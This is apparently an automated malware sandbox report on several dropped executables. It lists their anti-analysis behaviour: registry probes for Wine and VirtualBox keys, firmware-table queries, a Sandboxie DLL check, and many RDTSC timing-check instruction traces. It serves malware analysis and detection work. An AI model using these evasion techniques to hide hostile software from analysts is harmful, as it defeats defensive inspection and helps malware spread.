Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: uhshdsh.exe PID: 6448, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: uhshdsh.exe, 00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1CF1D1 second address: 1CF1E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3495AD second address: 3495B7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3100E5D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3495B7 second address: 3495C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 js 00007F3100FA3006h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34970E second address: 349714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349714 second address: 349718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349718 second address: 34973A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34973A second address: 349744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3100FA3006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349744 second address: 349768 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D172h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d jnp 00007F3100E5D16Eh 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3498B9 second address: 3498BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3498BD second address: 3498C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3498C7 second address: 3498CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CA1A second address: 34CA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CA27 second address: 34CA2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CA2B second address: 34CA2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CA2F second address: 34CA59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F3100FA301Dh 0x00000013 jmp 00007F3100FA3017h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CAA0 second address: 34CAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CAA4 second address: 34CB22 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F3100FA3008h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 push 00000000h 0x00000024 or edx, 5E36CD32h 0x0000002a call 00007F3100FA3009h 0x0000002f jmp 00007F3100FA3017h 0x00000034 push eax 0x00000035 jmp 00007F3100FA3016h 0x0000003a mov eax, dword ptr [esp+04h] 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F3100FA3010h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CB22 second address: 34CB45 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3100E5D16Ch 0x00000008 je 00007F3100E5D166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CB45 second address: 34CB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CB49 second address: 34CBCC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3100E5D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push 00000003h 0x0000000e mov cx, E4C4h 0x00000012 jmp 00007F3100E5D175h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F3100E5D168h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 push 00000003h 0x00000035 adc ecx, 1E6EAF6Fh 0x0000003b and ecx, 63BEB5C8h 0x00000041 call 00007F3100E5D169h 0x00000046 jg 00007F3100E5D174h 0x0000004c push eax 0x0000004d je 00007F3100E5D16Eh 0x00000053 push ecx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CBCC second address: 34CBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push ebx 0x0000000a jmp 00007F3100FA3010h 0x0000000f pop ebx 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CBED second address: 34CBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CBF5 second address: 34CBFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CBFB second address: 34CC0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F3100E5D166h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CD92 second address: 34CD98 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CD98 second address: 34CDA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3100E5D166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CDA2 second address: 34CDA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CF61 second address: 34CF65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34CF65 second address: 34CF82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F3100FA300Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35DB16 second address: 35DB2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 340F68 second address: 340F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100FA3016h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36A6EB second address: 36A6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36A6F4 second address: 36A6F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36A6F8 second address: 36A717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100E5D179h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36A717 second address: 36A73D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jp 00007F3100FA3006h 0x0000000d jmp 00007F3100FA3011h 0x00000012 je 00007F3100FA3006h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36A73D second address: 36A749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36A749 second address: 36A769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnc 00007F3100FA301Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36A769 second address: 36A77A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F3100E5D16Ah 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36ABA7 second address: 36ABC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100FA3019h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36ACFA second address: 36ACFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36ACFE second address: 36AD04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36AFFE second address: 36B038 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jno 00007F3100E5D166h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3100E5D16Fh 0x00000019 jmp 00007F3100E5D177h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B1AB second address: 36B1B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B1B1 second address: 36B1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F3100E5D168h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B1BF second address: 36B1E5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3100FA3008h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F3100FA3018h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B4B2 second address: 36B4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B758 second address: 36B75E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B75E second address: 36B776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 344560 second address: 344571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3100FA300Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 344571 second address: 344577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 344577 second address: 34457B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34457B second address: 344595 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D176h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36C20E second address: 36C227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36C227 second address: 36C240 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D175h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36C399 second address: 36C3B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3100FA3010h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36C3B2 second address: 36C3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36C516 second address: 36C51F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36C51F second address: 36C525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36C525 second address: 36C529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36C843 second address: 36C84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3721DD second address: 3721E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 377F8D second address: 377F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 377F93 second address: 377F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 377F98 second address: 377FAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100E5D173h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37811F second address: 37813B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F3100FA3006h 0x0000000b jo 00007F3100FA3006h 0x00000011 jl 00007F3100FA3006h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37813B second address: 37813F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37813F second address: 378173 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3018h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3100FA300Dh 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 378173 second address: 37817C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
